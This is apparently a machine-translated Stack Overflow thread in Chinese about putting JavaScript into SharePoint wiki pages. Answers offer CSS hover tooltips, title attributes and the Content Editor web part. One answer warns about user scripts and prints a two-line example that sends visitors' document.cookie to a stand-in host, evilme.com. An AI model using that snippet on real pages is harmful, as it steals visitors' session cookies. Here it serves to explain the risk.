作为 wiki 管理员,我如何在 Sharepoint wiki 页面中输入脚本 (Javascript)?

我想输入一个标题,然后单击该标题时,在其下方显示一个小解释。我通常用 javascript 来做这件事,还有其他想法吗?

有帮助吗?

解决方案

假设您是 wiki 的管理员,并且愿意在鼠标悬停而不是单击时显示此内容,则您根本不需要 javascript - 您可以直接使用 CSS。以下是样式和标记的示例:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

通过一些更复杂的样式,您的工具提示框可以看起来像您想要的那样漂亮。

其他提示

如果维基作者是明智的,可能没有办法做到这一点。

用户贡献的 JavaScript 的问题在于,它为各种形式的作恶者打开了从毫无戒心的人那里获取数据的大门。

假设邪恶的我在公共网站上发布了一个脚本:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

现在我将接收该页面的每个访问者的 cookie 信息,并将其发布到我的服务器上的日志中。这只是冰山一角。

这完全取决于您使用的特定 Wiki 软件。我见过的工作方式是将 js 文件托管在其他地方,然后包含带有 src 属性的脚本标记。

如果他们不允许,也许他们允许您可以将 IFRAME 设置为包含脚本的页面。使用第二种技术,您将无法访问主机页面的 DOM。

我喜欢 CSS 的答案。当您可以使用 CSS 而不是 Javascript 时,它会导致更简单的标记。
另一件需要研究的事情是 Codeplex 上的 SharePoint 增强 Wiki 版社区工具包。您可以下载源代码并添加您自己的功能。或者您可以在论坛中建议将此作为新功能。

这听起来像是一个安全风险。维基管理员似乎可以安装脚本,请参阅 维基百科的用户脚本.

如果您正在讨论使用 Javascript 作为本网站网页的一部分,则不能。或者任何其他公共维基百科 - 这是一个安全风险。

如果您要发布代码示例,请单击文本框上方的“101010”按钮。

这当然取决于您正在谈论的维基引擎。但最有可能的是,正如 sblundy 所说,允许在 wiki 页面上免费使用 javascript 会带来安全风险。

您不应该能够为任何公共 wiki 添加 javascript 代码。如果您自己托管它,那么您需要请求特定的 wiki 系统,以便有人可以帮助您修改设置 - 如果该系统可能的话。

添加 title="text here" 任何标签,当鼠标悬停在其上时,它应该显示文本。
当您使用 Internet Explorer 时,Internet Explorer 会显示文本 alt="text here" 属性,尽管这不符合标准。

我现在测试了,你可以添加 <h2 title="some explanation here">headline</h2> 任何基于维基媒体(维基百科使用的系统)的系统。

使用内容编辑器 Web 部件

从功能区中选择 Insert 并选择 Web Part. 。从菜单中转至 Media and Content 并选择 Content Editor. 。从新创建的 Web 部件的下拉菜单中,选择 Edit Web Part. 。从右侧的 Web 部件设置菜单中,展开 Appearance 并设置 Chrome TypeNone. 。点击 Click Here to Add Content 在 Web 部件上并找到 Edit HTML Source 在功能区中。您可以在该区域使用 HTML,而无需清除它。

笔记:如果您计划向大量页面元素添加行为,您可能需要将 .js 文件上传到样式库并仅包含 <script src="..."> 内容编辑器中的标签。您可能还想考虑使用自定义母版或页面布局。

来源: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages

许可以下: CC-BY-SA归因
不隶属于 StackOverflow
scroll top